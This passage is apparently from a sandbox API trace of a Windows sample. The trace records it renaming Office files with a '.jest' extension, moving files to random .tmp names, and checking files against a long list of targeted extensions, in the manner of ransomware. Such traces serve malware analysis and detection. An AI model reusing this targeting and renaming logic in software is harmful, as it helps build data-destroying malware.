IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html.jest")) returned 1 [0165.509] VarBstrFromR4 (in: fltIn=0x47945796, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.17") returned 0x0 [0165.510] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsColorChart.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formscolorchart.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jyBCazcuHxH9cDHbljdZrVr6LM9uUrEB529SEGWwguIrq6LKuM1om4guhqmnEzbKUe_UsjxsKgolMgZLXZpBHmdeFIDhJwgT I.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jybcazcuhxh9cdhbljdzrvr6lm9uureb529segwwguirq6lkum1om4guhqmnezbkue_usjxskgolmgzlxzpbhmdefidhjwgt i.tmp")) returned 0 [0165.510] GetLastError () returned 0x2 [0165.510] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.511] VarBstrCmp (bstrLeft="html", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.511] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.511] VarBstrCmp (bstrLeft="tml", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.511] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.511] VarBstrCmp (bstrLeft="html", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.511] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.511] VarBstrCmp (bstrLeft="html", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.511] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.511] VarBstrCmp (bstrLeft="html", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.511] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.512] VarBstrCmp (bstrLeft=".html", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.512] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.512] VarBstrCmp (bstrLeft="html", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.512] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.512] VarBstrCmp (bstrLeft="html", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.512] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.512] VarBstrCmp (bstrLeft="html", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.512] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.512] VarBstrCmp (bstrLeft="html", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.512] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.513] VarBstrCmp (bstrLeft="html", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.513] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.513] VarBstrCmp (bstrLeft="html", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.513] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.513] VarBstrCmp (bstrLeft=".html", bstrRight=".proj", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.513] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.513] VarBstrCmp (bstrLeft="html", bstrRight=".dot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.513] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.513] VarBstrCmp (bstrLeft=".html", bstrRight=".docx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.513] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.514] VarBstrCmp (bstrLeft=".html", bstrRight=".docm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.514] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.514] VarBstrCmp (bstrLeft=".html", bstrRight=".dotx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.514] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.514] VarBstrCmp (bstrLeft=".html", bstrRight=".dotm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.514] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.514] VarBstrCmp (bstrLeft=".html", bstrRight=".docb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.514] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.514] VarBstrCmp (bstrLeft="html", bstrRight=".xls", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.514] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.515] VarBstrCmp (bstrLeft="html", bstrRight=".xlt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.515] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.515] VarBstrCmp (bstrLeft="html", bstrRight=".xlm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.515] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.515] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.515] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.515] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.515] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.515] VarBstrCmp (bstrLeft=".html", bstrRight=".xltx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.516] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.516] VarBstrCmp (bstrLeft=".html", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.516] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.516] VarBstrCmp (bstrLeft=".html", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.516] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.516] VarBstrCmp (bstrLeft="html", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.516] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.517] VarBstrCmp (bstrLeft=".html", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.517] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.517] VarBstrCmp (bstrLeft="html", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.517] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.517] VarBstrCmp (bstrLeft="html", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.517] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.517] VarBstrCmp (bstrLeft="html", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.517] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.518] VarBstrCmp (bstrLeft="html", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.518] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.518] VarBstrCmp (bstrLeft="html", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.518] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.518] VarBstrCmp (bstrLeft=".html", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.518] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.518] VarBstrCmp (bstrLeft=".html", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.518] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.518] VarBstrCmp (bstrLeft=".html", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.519] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.519] VarBstrCmp (bstrLeft=".html", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.519] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.519] VarBstrCmp (bstrLeft=".html", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.519] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.519] VarBstrCmp (bstrLeft=".html", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.519] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.519] VarBstrCmp (bstrLeft=".html", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.520] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.520] VarBstrCmp (bstrLeft=".html", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.520] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.520] VarBstrCmp (bstrLeft=".html", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.520] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.520] VarBstrCmp (bstrLeft="e.html", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.520] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.521] VarBstrCmp (bstrLeft="ate.html", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.521] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.521] VarBstrCmp (bstrLeft="e.html", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.521] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.521] VarBstrCmp (bstrLeft="html", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.521] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.521] VarBstrCmp (bstrLeft="html", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.521] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.522] VarBstrCmp (bstrLeft="html", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.522] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.522] VarBstrCmp (bstrLeft="html", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.522] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.522] VarBstrCmp (bstrLeft="html", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.522] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.522] VarBstrCmp (bstrLeft="tml", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.522] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.523] VarBstrCmp (bstrLeft="html", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.523] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.523] VarBstrCmp (bstrLeft="tml", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.523] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.523] VarBstrCmp (bstrLeft="html", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.523] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.523] VarBstrCmp (bstrLeft="html", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.523] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.524] VarBstrCmp (bstrLeft="html", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.524] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.524] VarBstrCmp (bstrLeft="html", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.524] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.524] VarBstrCmp (bstrLeft="html", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.524] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.524] VarBstrCmp (bstrLeft="html", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.524] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.525] VarBstrCmp (bstrLeft="html", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.525] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.525] VarBstrCmp (bstrLeft="html", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.526] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.526] VarBstrCmp (bstrLeft="html", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.526] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.526] VarBstrCmp (bstrLeft="html", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.526] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.527] VarBstrCmp (bstrLeft="html", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.527] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.527] VarBstrCmp (bstrLeft="html", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.527] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.527] VarBstrCmp (bstrLeft="html", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.527] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.527] VarBstrCmp (bstrLeft="html", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.527] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.528] VarBstrCmp (bstrLeft="html", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.528] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.528] VarBstrCmp (bstrLeft=".html", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.528] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.528] VarBstrCmp (bstrLeft=".html", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x0 [0165.528] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.528] VarBstrCmp (bstrLeft="html", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.528] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.529] VarBstrCmp (bstrLeft="late.html", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.529] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.529] VarBstrCmp (bstrLeft="html", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.529] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.529] VarBstrCmp (bstrLeft="html", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.529] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.529] VarBstrCmp (bstrLeft="html", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.529] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.530] VarBstrCmp (bstrLeft="html", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.530] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.530] VarBstrCmp (bstrLeft="html", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.530] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.530] VarBstrCmp (bstrLeft="html", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.530] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.530] VarBstrCmp (bstrLeft="html", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.530] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.531] VarBstrCmp (bstrLeft="html", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.531] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.531] VarBstrCmp (bstrLeft="html", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.531] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.531] VarBstrCmp (bstrLeft="html", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x2 [0165.531] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.532] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.533] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.533] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.533] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0165.533] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0165.534] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0165.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html.jest")) returned 1 [0165.537] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e8d8) [0165.537] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.538] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.538] GetLocalTime (in: lpSystemTime=0x18e9d4 | out: lpSystemTime=0x18e9d4*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xbd)) [0165.538] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0165.538] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xbd)) [0165.538] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x33, wMilliseconds=0xbd)) [0165.538] GetUserDefaultLCID () returned 0x409 [0165.538] VarBstrFromR4 (in: fltIn=0x47945798, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75951.19") returned 0x0 [0165.539] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e990) [0165.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsFormTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsformtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\--n2Ibyd_gA7yANxwkLOpJzdI7g4L9l_s efZgXJ4OXBMEkpHHpurq8acIx79CGO04xcI JkPbzWIynBfucA_xeTIyAaxlZO7_T.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\--n2ibyd_ga7yanxwklopjzdi7g4l9l_s efzgxj4oxbmekphhpurq8acix79cgo04xci jkpbzwiynbfuca_xetiyaaxlzo7_t.tmp")) returned 0 [0165.540] GetLastError () returned 0x2 [0165.540] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0165.540] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0165.541] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.541] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.541] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.541] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.541] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.541] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0165.542] VarCmp 